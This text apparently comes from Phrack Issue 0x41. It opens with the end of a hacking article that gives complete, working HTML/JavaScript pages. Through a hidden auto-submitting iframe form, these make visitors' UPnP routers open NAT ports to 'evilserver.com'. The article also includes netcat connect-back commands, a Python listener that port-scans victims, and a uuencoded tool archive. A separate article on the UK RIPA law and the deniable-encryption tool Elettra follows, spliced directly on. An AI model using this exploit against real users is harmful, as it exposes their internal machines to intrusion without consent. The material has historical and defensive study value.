
var l = a.length;

for(var i=0; i<l; i++)

dip += a[l‑i‑1]*Math.pow(256,i);

return dip;

}

‑‑>

</script>

‑‑[ 2.3 ‑ Implementation specifics: HTML

Now that we can create a proper DCC send string, the next problem to overcome is how to force the client to unknowingly send the encapsulated string to a malicious server, thereby tricking their gateway into forwarding a port we specify. HTML forms submitted automatically via javascript are highly useful for this.

Since the DCC string (and many other protocols you might choose to use with this technique) require multiple lines of communication to trigger the UPnP NAT traversal features, we set the "enctype" attribute to "multipart/form‑data". This allows the required carriage return and new line characters to be submitted via a form field.

The following form tag shows how to specify the enctype:

<form

id="evilform"

name="evilform"

action="http://evilserver.com:6667/"

method="post"

enctype="multipart/form‑data"

>

In order to automate the submission of our DCC string (payload), we use javascript to submit the form (after the internal IP address is obtained) via the form submit() method as follows:

function doevil(ip, port) {

var frm = document.forms['evilform'];

if(frm == null) return;

frm.payload.value = unescape("%01")

+ "DCC SEND evil.txt " + ip + " " + port +

+ unescape("%01%0a%0d");

try { frm.submit(); } catch(err) { return; }

}

As you can see we've used javascript to craft the payload string, because of the neccessary (depending of gateway implementation) carriage return and newline characters.

The following HTML code demonstrates the code so far, including the use of the MyAddress applet mentioned in the previous section:

<html>

<head>

<title>(Untitled)</title>

<applet code="MyAddress.class" name="myaddress" mayscript width="0" height="0"></applet>

<script>

<!‑‑

var port = 1337;

function MyAddress(i) {ip = defunct(i); doevil(ip, port);} function defunct(sip) {

if(sip == null) return 0;

sip += ''; // ;( make sure it's a string

var dip = 0;

var a = sip.split(".");

var l = a.length;

for(var i=0; i<l; i++)

dip += a[l‑i‑1]*Math.pow(256,i);

return dip;

}

function doevil(ip, port) {

var frm = document.forms['evilform'];

if(frm == null) return;

frm.payload.value = unescape("%01")

+ "DCC SEND evil.txt " + ip + " " + port +

+ unescape("%01%0a%0d");

try { frm.submit(); } catch(err) { return; }

}

‑‑>

</script>

</head>

<body>

<form

id="evilform"

name="evilform"

action="http://evilserver.com:6667/"

method="post"

enctype="multipart/form‑data"

>

<input type="input" id="payload"

name="payload" value="null">

</form>

</body>

</html>

By simply binding netcat to port 6667 of evilserver.com, this code is enough to manually connect back to the port "port" once a victim has viewed this web page, as the following snippet demonstrates:

‑[max@evilserver:~/simple]$ nc ‑lp 6667

POST / HTTP/1.1

Host: evilserver.com:6667

User‑Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en‑US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5

Accept‑Language: en‑us,en;q=0.5

Accept‑Encoding: gzip,deflate

Accept‑Charset: ISO‑8859‑1,utf‑8;q=0.7,*;q=0.7

Keep‑Alive: 300

Connection: keep‑alive

Referer: http://evilserver.com/simpletest.html

Content‑Type: multipart/form‑data; boundary=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑162151946613101846322123277333

Content‑Length: 213

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑162151946613101846322123277333 Content‑Disposition: form‑data; name="payload"

DCC SEND evil.txt 16909060 1337NaN ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑162151946613101846322123277333‑‑

You can see that a victim has connected to our webpage (simpletest.html) and that the page has automatically submitted our DCC SEND send string. Using netcat again, we can connect back to the ip and port above (using the defunct format works fine with nc):

‑[max@evilserver:~/simple]$ nc 16909060 1337

muahahaha

what are you doing here?!

Here's what it looks like from the victim's end:

‑[victim@QQ:~]$ nc ‑lp 1337

muahahaha

what are you doing here?!

Obviously there are some significant drawbacks to using this simplified example...who wants to sit and manually monitor their connections and then manually connect back to victims? What if you want to connect to multiple ports? Won't it kinda tip the victim off (or at least bore them mightily) if there's nothing but a dodgy page for them to look at? How about something interesting? Like maybe an article....

The topic of the listening and connect back mechanism is addressed in the next section of this chapter. The content problem and the ability to forward multiple ports per visit are addressed by creating an additional page (evil.html) that contains two HTML iframes, one hidden and one visible. While the victim is distracted by content in the visible iframe (goodframe), the hidden iframe (evilframe) loads the second page (evilform.html) in order to post (as many times as desired) to evilserver.

The code might look something like this (note that we keep the MyAddress code in evil.html; there's no sense in loading it multiple times):

evil.html:

<html>

<head>

<title>(Untitled)</title>

<applet code="MyAddress.class" name="myaddress" mayscript width="0" height="0"></applet>

<script type="text/javascript">

<!‑‑

var ports = [135,137,138,139,22,1337];

var port = null;

var ip = null;

function MyAddress(i) {ip = defunct(i); openports();} function defunct(sip) {

if(sip == null) return 0;

sip += ''; // ;( make sure it's a string

var dip = 0;

var a = sip.split(".");

var l = a.length;

for(var i=0; i<l; i++)

dip += a[l‑i‑1]*Math.pow(256,i);

return dip;

}

function openports() {

if(!ports || !ip) return;

for(port in ports) document.getElementById('evilframe').src = 'evilform.html'; }

‑‑>

</script>

</head>

<body style="padding: 0px; border:none; margin:0px;"> <iframe name="evilframe" id="evilframe" src="" width="0" height="0" frameborder="0"></iframe> <iframe name="goodframe" id="goodframe" src="http://google.com" width="100%" height="100%"

frameborder="0">

</iframe>

</body>

</html>

Upon load, evilform.html will access evil.html's (its parent's) variables "port" and "ip" to craft the payload DCC string and then post:

evilform.html:

<html>

<head>

<title>(Untitled)</title>

</head>

<script>

<!‑‑

function doevil(ip, port) {

var frm = document.forms['evilform'];

if(ip == null || port == null || frm == null) return; frm.internal_ip.value = 'internal_ip:'+ip; frm.internal_port.value = 'internal_port:'+port; frm.payload.value = unescape("%01")

+ "DCC SEND evil.txt " + ip + " " + port +

+ unescape("%01%0a%0d");;

window.parent.formposting();

try { frm.submit(); } catch(err) { return; }

}

‑‑>

</script>

<body onload="doevil(window.parent.ip, window.parent.port)"> <form

id="evilform"

name="evilform"

action="http://evilserver.com:6667/"

method="post"

enctype="multipart/form‑data"

>

<input type="input" id="payload" name="payload" value="null"> <input type="input" id="internal_ip" name="internal_ip" value="null"> <input type="input" id="internal_port" name="internal_port" value="null"> </form>

</body>

</html>

Note that evilform.html is now also setting two additional form variables (with some tags to make them easier to regex out later) so that the listener can note what the internal port and IP of the victim are. Since these variables aren't within a protocol string (like the DCC send string) the gateway will not replace them with the external values.

Unfortunately, however, the code above introduces a race condition: you can't be assured that evilform.html has had enough time to load and post before it gets reloaded. We originally expected that this could be remedied if the service listening on 6667 of evilserver.com replied with a page that invoked a callback function in the parent page in the following manner:

<script>window.parent.imdone();</script>

Unfortunately, modern browsers will limit access to data across iframes if the source page's scheme, domain, or port is different. Because our post is neccessarily to a different port (6667 vs 80), the above code will always generate an exception.

Our solution was to mitigate the issue by putting in enough delay after evilform.html begins loading as to be reasonably assured that the page has completed it's automatic posting before reloading it. Since javascript has no sleep() function (that we could find), we used window.setTimeout(fn, t):

evil.html:

...

function MyAddress(i) {ip = defunct(i); opennextport();} ...

function formposting() { window.setTimeout('opennextport()', 1000)

}

function opennextport() {

if(!ports || cp < 0 || cp > ports.length) return;

port = ports[cp++]; document.getElementById('evilframe').src = 'evilform.html'; }

...

evilform.html:

...

function doevil(ip, port) {

var frm = document.forms['evilform'];

if(ip == null || port == null || frm == null) return; frm.internal_ip.value = 'internal_ip:'+ip; frm.internal_port.value = 'internal_port:'+port; frm.payload.value = unescape("%01")

+ "DCC SEND evil.txt " + ip + " " + port +

+ unescape("%01%0a%0d");;

window.parent.formposting();

try { frm.submit(); } catch(err) { return; }

}

...

One cosmetic issue remains with our code: the title of evil.html will not match that of our bait page. If the bait page is hosted via the same scheme on the same domain and port as evil.html, then this can be easily remedied with this code snippet:

function settitle() { document.title = window.frames['goodframe'].document.title; }

...

<body onload="settitle()">

However, as previously mentioned, if the bait page is hosted on a different server or using a different scheme, accessing goodframe's document title would cause an exception to be raised. In either case, if the victim were to follow an internal link, the title would become outdated. Our solution was to wrap the assignment in a try / catch block and to set a timeout to call settitle again in 350 milliseconds:

function settitle() {

try{ document.title = window.frames['goodframe'].document.title;} catch(err) {return;}

window.setTimeout('settitle()', 350);

}

Below is the final code:

evil.html:

<!‑‑ evil.html ‑‑>

<html>

<head>

<title>(Untitled)</title>

<applet code="MyAddress.class" name="myaddress" mayscript width="0" height="0"></applet>

<script type="text/javascript">

<!‑‑

var ip = null;

var port = null;

var ports = [135,137,138,139,22,1337];

var cp = 0;

function MyAddress(i) {ip = defunct(i); opennextport();} function settitle() {

try{ document.title = window.frames['goodframe'].document.title;} catch(err) {return;}

window.setTimeout('settitle()', 350);

}

function defunct(sip) {

if(sip == null) return 0;

sip += ''; // ;( make sure it's a string

var dip = 0;

var a = sip.split(".");

var l = a.length;

for(var i=0; i<l; i++)

dip += a[l‑i‑1]*Math.pow(256,i);

return dip;

}

function formposting() { window.setTimeout('opennextport()', 1000)

}

function opennextport() {

if(!ports || cp < 0 || cp > ports.length) return;

port = ports[cp++]; document.getElementById('evilframe').src = 'evilform.html'; }

‑‑>

</script>

</head>

<body onload="settitle()" style="padding: 0px; border:none; margin:0px;"> <iframe name="evilframe" id="evilframe" src="" width="0" height="0" frameborder="0"></iframe> <iframe name="goodframe" id="goodframe" src="http://google.com"

width="100%" height="100%" frameborder="0"></iframe> </body>

</html>

evilform.html:

<html>

<head>

<title>(Untitled)</title>

</head>

<script>

<!‑‑

function doevil(ip, port) {

var frm = document.forms['evilform'];

if(ip == null || port == null || frm == null) return; frm.internal_ip.value = 'internal_ip:'+ip; frm.internal_port.value = 'internal_port:'+port; frm.payload.value = unescape("%01")

+ "DCC SEND evil.txt " + ip + " " + port +

+ unescape("%01%0a%0d");;

window.parent.formposting();

try { frm.submit(); } catch(err) { return; }

}

‑‑>

</script>

<body onload="doevil(window.parent.ip, window.parent.port)"> <form

id="evilform"

name="evilform"

action="http://evilserver.com:6667/"

method="post"

enctype="multipart/form‑data"

>

<input type="input" id="internal_ip" name="internal_ip" value="null"> <input type="input" id="internal_port" name="internal_port" value="null"> <input type="input" id="payload" name="payload" value="null"> </form>

</body>

</html>

Voila. Now you have a couple of pages that can be used

to open ports for connecting to boxes that are NAT'd

behind UPnP enabled routers. The section below details the final component of our implementation: the listener.

‑‑[ 2.4 ‑ Implementation specifics: Listener

Possibly the most trivial component of our implementation is the listener. This service will sit on evilserver.com and listen on the port of choice (6667 for IRC/DCC and our code above).

When the victim browses to evil.html and inadvertantly posts via evilform.html, the listener is responsible for receiving the connection. This can trivially be implemented in python using the "SocketServer" module. A small example of this is

as follows:

class RequestHandler(SocketServer.StreamRequestHandler):

def handle(self):

while(True):

try:

line = self.rfile.readline()

except:

return

...

# begin listening for new connections.

tcpserver = SocketServer.TCPServer(('localhost', port),RequestHandler) tcpserver.serve_forever()

The implementation of the listener provided with this paper will also attempt to connect back to the victim through their gateway, effectively port scanning the victim, behind the NAT.

Here is the code to do this:

def scan(self, ip, port):

sock = socket.socket()

sock.settimeout(1)

ret = sock.connect_ex((ip,int(port))) == 0

sock.close()

return ret

The code for the listener (whiskers.py) can be generated with the script that is included in section Appendix A.

The output of whiskers is as follows:

‑[max@evilserver:~]$ python whiskers.py

****************************************

Sat, 12 Apr 2008 01:13:17 GMT: Starting server....

Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667 Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:39 GMT: [+] ‑‑‑‑ Internal port: 135 on ip:

192.168.0.100 ‑ closed.

Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:40 GMT: [+] ‑‑‑‑ Internal port: 137 on ip:

192.168.0.100 ‑ closed.

Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:42 GMT: [+] ‑‑‑‑ Internal port: 138 on ip:

192.168.0.100 ‑ closed.

Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:44 GMT: [+] ‑‑‑‑ Internal port: 139 on ip:

192.168.0.100 ‑ closed.

Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:45 GMT: [+] ‑‑‑‑ Internal port: 22 on ip:

192.168.0.100 ‑ open.

Sat, 12 Apr 2008 01:13:53 GMT: Server stopped.

As you can see, the victim had a service running on port 22.

‑‑[ 3 ‑ Putting it all together with Python.

Since it's a bit cumbersome to remember which bit to swivel where and when or what protocol's to use and how, we've provided an extensible python script that generates the two webpages (with the options to name them something a little more innocuous), MyAddress.class, and a listener based on specified parameters.

Type ./claw.py ‑h for usage.

‑‑[ 4 ‑ References

[1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html

[2] UPnP NAT Traversal

[3] Khaled would be proud :: http://www.mirc.co.uk/help/rfc1459.txt

[4] MyAddress Java Applet

:: http://reglos.de/myaddress/MyAddress.html

[5] Defunct IP address representation http://www.mirrors.wiretapped.net/security/info/textfiles/keen‑veracity/ ..

kv6.txt

‑‑[ 5 ‑ Appendix A: Source code

The source code used in this paper was written by arachne.

We really appreciate her work on this project.

begin 644 claw.tgz M'XL(`,`+`$@``]1:_U?;QK+OK]9?L18AEH(M!`D),3B!``FT@%5P<I,2ZB/;

The only laws on Internet are assembly and RFCs

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x06 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ The only laws on the Internet are assembly and RFCs ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By julia@winstonsmith.info ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ Index

0 ‑ starting point, our world and the Internet

1 ‑ What's an incoherent law ?

2 ‑ DEEP FOCUS, AND REAL TARGET: RIPA III

3 ‑ Elettra

4 ‑ THE ANONYMOUS IDENTITY: julia@winstonsmith.info

5 ‑ REFERENCES

‑‑‑‑‑‑[ 0. starting point, our world and the Internet

2008: During the past 10 years the Internet accrued its value in a way that was not predictable. A lot of players are trying to gain power over it: recording and cinema industries, governments, software vendors.

Eight, ten years ago our feeling with the net was hacking pleasure; now, the hacking techniques are recycled by security vendors for their security services. Once the diffusion of a crack was proof of value, now it only represents the risk to be busted. A lot has changed and for someone this is the opportunity to reconsider and eventually change both his ways of acting and his priorities.

The spirit has changed: may the energies be readdressed?

Is there space for fun, still, and where?

The game now is hard. The tools in our hands have changed and threats are much more realistic. Hacking is a game, but now the risk level has to be carefully taken into consideration to protect ourselves and the people near us, to avoid jail or being exploited.

Media industry, political entities and vendors are trying every possibility to set foot where they can have even a minimum of control over users. This is because control, even if only partial, means power.

We can envision how the Internet, its operating systems and softwares operate. We clearly know what is going on, and why it works in that specific way and not otherwise.

Those who are trying to get their hands on the network and on the Internet users often (and fortunately) do not have the skills necessary to understand the concepts on which the network is based. The fact that the internet society is based on technical rules before that on moral ones is somehow less natural for us to believe.

So it happens that computers and the Internet are subject to legislation, control and governmental based restriction, whilst the Internet and computers are by definition the same all over the world and the Internet is made by all users equally.

Whether it speaks of computers, hard drives, forensic analysis, censorship or wiretapping, items are always the same.

We can still understand this, while the politicians are on average 50 years old and spent more or less 30 of those years in the political career. Information technology has been developed seriously in recent 15 years, so it is normal that politicians do not understand anything of IT matters.

Other than that, we see that political choices must enjoy the support of the people, but people have not a better comprehension of IT matters than politicians. This explains why no one has yet seen a law making some real sense from a technological point of view and yet achieving its purposes (which usually consists of an increased sense of security).

We think that we are the ones who can demonstrate that the Internet follows different laws. That's because we are the generation born with the Internet and we are able to speak internet language enthusiastically. We, as developers, can not write laws nor directly challenge them, but we can develop software demonstrating from a practical point of view how wrong these laws are.

It seems to us that this is the most effective and less painful way to show politicians their mistakes and give citizens their freedom, ruled on the Internet by mathematical logics.

It is told by the Hacker Manifesto:

"I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here..."

Mentor's ideas in the 1986, and our ideas since then, are the same for all the Internet users even now. If this freedom of acting is disturbing to someone, it's our duty to remember that this freedom cannot be erased.

The incentives to hack have changed, exposure may have become uncomfortable ...so an anonymous identity rises: julia@winstonsmith.info, dedicated to the spread of software written to demonstrate the inconsistency of laws to control and limit users and the Internet.

‑‑‑‑‑‑[ 1. What's an incoherent law ?

As the tendency to create inadequate laws is increasing, for what concerns the control of the internet and its users, we felt the need to question this modus operandi.

The goal is to create software designed to demonstrate that most laws that restrict and control the Internet are inadequate (unnecessary, counterproductive and risky).

You, more than any other community, have the chance to demonstrate that any law trying to:

‑ regulate the Internet or computer use from a governmental point of view ‑ control users communications (by filtering and limiting them)

are not enforceable from a scientific point of view, because they are mere transposition of real life laws on the digital dimension.

In general, our line of action can rely on this logic:

‑ A law is promulgated (data retention, search profiling, forbidden publishing...)

‑ We analyze two aspects:

1) the logical structure of the law, in order to understand its bases

2) the technical implementation of the law

‑ From (1) we can see and develop ideas not considered

‑ From (2) we can develop technical solutions

‑ The news that the law is a failure has to be spread. In fact, our knowledge has no impact on politics, the audience and the users information if it remains in our hands.

One example of law‑reversing‑and‑attack could be:

1) Human side: A state deploys a law that forbids speaking about cryptography

2) Tech side: being the domain owner of a website speaking of cryptography lands you in jail.

3) Tech implementation: once the police is notified of the existence of a server inside country boundaries serving forbidden content, an email is sent asking to remove the pages, or in a short time the domain owner will be busted and the server unplugged.

human countermeasure:

1a) Migrate to a free blog/website outside your country.

hacker countermeasure:

1a) Use a TOR hidden service, reachable through the Internet with a proxy in another country [1]

1b) Use a FreeNET website [2]

1c) Post your content with an anonymous remailer to a mailing list [3] 1d) Publish your contents via peer to peer network using a digital signature for trusted download, with the first node publishing the data outside the country.

1e) Use a self decryption javascript site, capable to protect session layer and cutting off crawlers that don't support javascript (‑> open source intelligence too), in some free‑blog outside our country. [4]

1f) A distributed server like "project R*" from "Autistici/Inventati" [5]. 1g) Use one of the other infinite solutions, because we should move ourselves among the RFCs, spreading software automatically and always find new ways to bypass the law description.

The Internet for the mere users is only "the web", whilst we have more possibilities. But we fail to keep our servers online, or to publish our information without problems, because we are not using the best solutions in strong encryption and network distribution.

‑‑‑‑‑‑[ 2. DEEP FOCUS, AND REAL TARGET: RIPA III

RIPA (investigation of electronic data protected by encryption ‑ power to require disclosure, [6]).

In practical terms, it is the possibility for an UK investigator to request the password protecting an encrypted file: in case of refusal or impossibility to give the password, the user it is punishable with up to two years' imprisonment.

Comparing this with the real life, it is the equivalent of a law requiring a suspect to open his safe to investigators. But computers and the Internet move on other schemes.

In addition, this law is specifically making the UK less secure. Let's see why:

‑ A person possessing an encrypted archive containing secrets potentially incriminating for a more than 2 years punishment will accept the 2 years imprisonment instead of revealing the password.

‑ The one whose encrypted archive doesn't contain secrets incriminating, but sensitive political, personal information, will give them to police (or, more often, to private consultants that practically proceed with the forensic examination).

‑ Theoretical security is not achieved by delegating the power to control to an institution, because if this is corrupted it would become the gateway for any sort of abuse. Theoretical security can be achieved by preventing future crime, not by applying controls in order to act as a deterrent.

Following the logic presented in the point 2 of this document, a safer way to avoid RIPA‑III is to use a more sophisticated way of protection.

Encryption models use to define actors (Alice & Bob) and scenarios (with Mallory, Eve and the Family of Attack). The encryption model required to hide the data, and the presence of encrypted data, is steganography [7]. In our scenario it is enough to demonstrate the absence of encrypted data, and cryptography offering a "plausible deniability" is our solution.

Deniable cryptography allows a user to protect his data by plausibly deny existence of hidden data inside an encrypted file. This kind of protection is very useful when the user is compelled to give up the password by violent or intimidating methods [8]. Different forms of deniable cryptography are currently used:

‑ TrueCrypt [9] implements full disk encryption. The image of a second encrypted disk is hidden inside free sectors of a container filesystem. Since a TrueCrypt disk is first filled with random data, it is not possible to differentiate between free sectors with random data on them and sectors with encrypted data of the hidden volume. As a consequence of this, the TrueCrypt user can plausibly deny existence of the hidden disk. ‑ OTR (Off‑the‑Record messaging) [10] is a cryptographic protocol that provides strong encryption for instant messaging. After authenticating the user (via key fingerprint comparison) it encrypts messages without checking their digital signatures. This lack of integrity check allows the sender of a message to plausibly deny sending that message since any other user could have been the sender.

‑ 2c2/4c [11]: It takes two input files and generates an output. Depending on the password used it decrypts one file or the other.

The goal of deniable cryptography is to deny the existence itself of a piece of information. Steganography has the same goal (steganalysis is effective only after the existence of hidden data has been proven), but it is more ambitious in hiding the data to the adversary because it carefully chooses a container that prevents an analyst to realize that the container covers hidden information. In case of an encrypted file, the attacker already knows it could contain valuable information; the aim now becomes to deny the existence of the data inside the exposed container: in such a situation, deniable cryptography has higher signal‑to‑coverdata ratio compared to steganography.

‑‑‑‑‑‑[ 3. Elettra

Elettra can generate archives of multiple files where a different file is extracted depending on the password provided.

This because the password used for encryption is not only an "information required for decrypt" one file in the archive, is also the "information required to find" a file in the archive.

Every file is encrypted with its own password. Every password unlocks a single file. Since elettra can add random padding to an archive, it's impossible to determine how many files are contained in it.

Plausible deniability consists in allowing the user to deny existence of other files except the only file he revealed the password to.

Elettra bases its security on mathematical principles derived from reverse‑engineering on the RIPA and its possible interpretations.

Elettra is a command line program developed for POSIX systems (tested under Linux, cygwin and MacOSX). A GUI wrapper developed in wxWidgets has been developed and both software, with related gpg signature, are available at:

https://www.winstonsmith.info/julia/elettra

Despite the fact that the GUI was coded in a tenth of the time spent for Elettra, it helps a dramatically wider range of users to understand and use the program. Usability and easiness of distribution of a software have rarely been a goal for hackers, but this time we want to highlight and spread a way of action/reaction made possible by open source technologies and a network able to quickly communicate a content. The GUI is a necessary compromise between features and usability :)

How to use Elettra:

user@linz:~/elettra/src/build$ ./elettra

./elettra by julia@winstonsmith.info, http://www.winstonsmith.info/julia

You should improve the quality of life, using privacy enhancing technology! ./elettra encrypt outputfile [size increment]% plainfile[::password] ./elettra decrypt cipherfile [password] [output directory] ./elettra checkpass password(s)

./elettra example (show examples of use)

‑ passwords, if not available, is ask with echo off

Elettra in encrypt mode

user@linz:/tmp$ ./elettra encrypt output 10% file1::passwd1 file1::passwd2 user@linz:/tmp$ ls ‑l file1 file2 output

‑rw‑r‑‑r‑‑ 1 user user 7132 Jan 15 18:35 file1

‑rw‑r‑‑r‑‑ 1 user user 36287 Jan 15 18:35 file2

‑rw‑r‑‑r‑‑ 1 user user 29027 Jan 17 10:35 output

Further generation of /tmp/output file, with the same file/password:

‑rw‑r‑‑r‑‑ 1 user user 30744 Jan 17 10:36 output

‑rw‑r‑‑r‑‑ 1 user user 32018 Jan 17 10:36 output

‑rw‑r‑‑r‑‑ 1 user user 29533 Jan 17 10:36 output

One goal of the algorithm is that the outputs differ given the same input. In practice you can keep the smallest output.

here are some outputs with a padding of 100%

‑rw‑r‑‑r‑‑ 1 user user 65198 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 54336 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 57579 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 64938 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 67284 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 29219 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 48946 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 37260 Jan 17 11:43 output

and some with 1000%:

‑rw‑r‑‑r‑‑ 1 user user 247351 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 109079 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 303188 Jan 17 11:43 output

‑rw‑r‑‑r‑‑ 1 user user 301261 Jan 17 11:44 output

‑rw‑r‑‑r‑‑ 1 user user 290419 Jan 17 11:44 output

‑rw‑r‑‑r‑‑ 1 user user 288720 Jan 17 11:48 output

‑rw‑r‑‑r‑‑ 1 user user 114376 Jan 17 11:48 output

‑rw‑r‑‑r‑‑ 1 user user 169173 Jan 17 11:48 output

‑rw‑r‑‑r‑‑ 1 user user 197720 Jan 17 11:48 output

‑rw‑r‑‑r‑‑ 1 user user 114376 Jan 17 11:48 output

‑rw‑r‑‑r‑‑ 1 user user 266452 Jan 17 11:48 output

The third argument is the filename of the archive that is going to be created.

The fourth argument (optional) is the amount of random padding that will be inserted at the beginning or appended at the end of the compressed archive.

Padding can vary between 10% and 1000%.

How encryption works in Elettra:

Elettra has five command: encrypt, decrypt, checkpass, help and example.

Is executed with: elettra command [args]

We want to encrypt file /tmp/ls‑manpage and /tmp/ps‑manpage. two file = two password we use "weirdness" and "foxnewsshower", the order link:

ls‑manpage (weirdness)

ps‑manpage (foxnewsshower)

$ ./elettra encrypt /dev/shm/output 15% /tmp/ls‑manpage::weirdness \ /tmp/ps‑manpage::foxnewsshower

the size of our source file are:

$ ls ‑l /tmp/ls‑manpage /tmp/ps‑manpage

‑rw‑r‑‑r‑‑ 1 user user 7132 Jan 8 05:57 /tmp/ls‑manpage ‑rw‑r‑‑r‑‑ 1 user user 36287 Jan 8 05:57 /tmp/ps‑manpage

The command line specifies 15% of random padding. Required args for the "encrypt" command, are the output file, the source files and the passwords. If passwords are not inserted via command line, they are prompted interactively.

Before the encryption gzip compression is used, the output file is:

$ ls ‑l /dev/shm/output

‑rw‑r‑‑r‑‑ 1 user user 42615 Jan 8 06:13 /dev/shm/output

Now we have an encrypted archive. The elettra decryption routine takes a password and, optionally, a destination directory:

$ ./elettra decrypt /dev/shm/output weirdness /dev/shm/

$ ls ‑l /dev/shm/

‑rw‑r‑‑r‑‑ 1 user user 7132 Jan 8 06:32 ls‑manpage ‑rw‑r‑‑r‑‑ 1 user user 42615 Jan 8 06:13 output

If you want to check your passwords, use the command "checkpass":

./elettra checkpass actresss weirdness shoeless

password(s) combinations work ok, with password block of 512 bytes, use it.

If checkpass or encrypt command receive a bad password sequence, notice to the users.

This is how an elettra output file looks like:

RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRR RRRRRRRRRRRRRRRRRRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRRRRRRRRRR RRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR /‑‑ end of initial keyblock, start of data section ‑‑/ RRrrrrccccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddffffFILE1PPPPPRRRRRRRRRRRRRRRRRRRRRRrrrrcc ccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddffffFILE2PPPPPRRRRRRRRRRRRRRRrrrrccccllllddddddddd ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddffffFILE3PPPPPRRRRRRRRRRRR

K = Key

C = checksum of password

R = random padding (before the entry point)

r = random encrypted bytes (used in AES CBC)

c = checksum of key

l = length of the compressed file

d = compressed data

f = length of filename

FILE1, FILE2, FILE3 names of decrypted file

P = encrypted padding to fill the minimum AES‑128 block up to its end Random padding is generated with cyclic SHA256 functions.

K and C are in the first segment, called "initial keyblock", the other components are the data in the elettra archive.

Here's how the file is created:

encrypt takes OUTPUT PADDING FILE[1..N] PASSWORD[1..N] arguments

try for n in [1 .. N]

HASHp_n =hash(PASSWORD_n)

Each of these hashes is required for obtaining an unique number dependent from the password.

This unique number (which is modulo the initial keyblock size) is named "entry point" thus obtaining an entry point for each file in the archive. It is called entry point because it identifies the point where reading will start at decryption time

initial keyblock:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ keyblock length: 512 + (x * 256) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑‑‑+‑‑+‑‑‑‑‑‑‑‑+‑‑+

| | | | | | |

| Random | | R | | R | | Random | | |

| | | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑‑‑+‑‑+‑‑‑‑‑‑‑‑+‑‑+

^ ^

| |

entry point ‑‑+ |

+‑ password block struct (32 byte)

The keyblock length is not hardcoded but its value is choosen in an adaptive way in such a way as to avoid password struct block collisions. A collision occurs if two or more password struct blocks overlap. Obviously a collision may disrupt the information contained in the initial keyblock and as such it has to be avoided.

The password struct block is encrypted with the PASSWORD[1..N], and contains an unsigned int checksum and a 28 byte KEY[1..N].

This mean that each password computation identifies an entry point inside the initial keyblock where the key resides encrypted in 28 of the 32 byte of password struct block. The other data in the initial keyblock are random.

This is the algorithm shown in pseudocode:

for x in [1..12]:

{

size = (random_between(1, 12) * 256 ) + 512

size = size + ( N * 256 )

create keyblock[size]

for n in [1..N] add_password_hash_to_keyblock(HASHp_n);

if keyblock[size] has collision

continue;

else

use size as good value

}

When a keyblock size is found, continue to the next step: creation of data section.

for n in [1..N]:

{

GZ‑FILE‑LEN_n = gzip(FILE_n)

}

totalsize = keyblock size

for n in [1..N]:

{

MIN‑EP_n = totalsize;

